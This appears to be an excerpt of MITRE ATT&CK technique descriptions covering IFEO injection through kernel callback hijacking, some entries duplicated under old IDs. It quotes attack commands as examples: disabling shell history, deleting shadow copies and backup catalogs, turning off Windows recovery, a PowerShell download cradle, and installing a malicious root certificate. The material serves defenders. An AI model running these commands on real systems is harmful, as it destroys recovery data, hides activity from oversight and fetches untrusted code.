IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options<executable> where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation. Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
T1562.003Impair Command History LoggingAdversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they’ve done.

On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user’s home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.

Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to “ignorespace”. HISTCONTROL can also be set to ignore duplicate commands by setting it to “ignoredups”. In some Linux systems, this is set by default to “ignoreboth” which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

Adversaries may also leverage a Network Device CLI on network devices to disable historical command logging (e.g. no logging).
T1562Impair DefensesAdversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)

Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.
T1525Implant Internal ImageAdversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike Upload Malware, this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
T1054Indicator BlockingAn adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.
T1562.006Indicator BlockingAn adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.

For example, adversaries may modify the File value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).
T1070Indicator RemovalAdversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.
T1066Indicator Removal from ToolsIf a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.
T1027.005Indicator Removal from ToolsAdversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.
T1202Indirect Command ExecutionAdversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these features for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.
T1105Ingress Tool TransferAdversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).

Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)

On Windows, adversaries may use various utilities to download tools, such as copyfingercertutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as curlscpsftptftprsyncfinger, and wget.(Citation: t1105_lolbas)
T1490Inhibit System RecoveryAdversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
- Windows Management Instrumentation can be used to delete volume shadow copies - wmic shadowcopy delete
- wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
- bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
- REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system

On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)
T1056Input CaptureAdversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).
T1141Input PromptWhen programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).
T1608.003Install Digital CertificateAdversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)

Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.

Adversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).
T1553.004Install Root CertificateAdversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)
T1130Install Root CertificateRoot certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
T1546.016Installer PackagesAdversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)

Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS postinstall scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)

Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include preinstpostinstprermpostrm scripts and run as root when executed.

For Windows, the Microsoft Installer services uses .msi files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged Prebuild and Postbuild events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)
T1218.004InstallUtilAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\[Microsoft.NET](http://microsoft.net/)\Framework\v\InstallUtil.exe and C:\Windows\[Microsoft.NET](http://microsoft.net/)\Framework64\v\InstallUtil.exe.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
T1118InstallUtilInstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\[Microsoft.NET](http://microsoft.net/)\Framework\v\InstallUtil.exe and C:\Windows\[Microsoft.NET](http://microsoft.net/)\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
T1559Inter-Process CommunicationAdversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)
T1491.001Internal DefacementAn adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary’s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)
T1090.001Internal ProxyAdversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.
T1534Internal SpearphishingAdversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user’s device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)

Adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)
T1016.001Internet Connection DiscoveryAdversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Pingtracert, and GET requests to websites.

Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
T1036.001Invalid Code SignatureAdversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)

Unlike Code Signing, this activity will not result in a valid signature.
T1590.005IP AddressesAdversaries may gather the victim’s IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).
T1059.007JavaScriptAdversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)

JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)

Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.
T1001.001Junk DataAdversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.
T1208KerberoastingService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)
T1558.003KerberoastingAdversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable PersistencePrivilege Escalation, and Lateral Movement via access to Valid Accounts.(Citation: SANS Attacking Kerberos Nov 2014)
T1215Kernel Modules and ExtensionsLoadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)
T1547.006Kernel Modules and ExtensionsAdversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)

When used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)

Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as “Legacy System Extensions” since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)

Adversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)
T1574.013KernelCallbackTableAdversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)

An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.

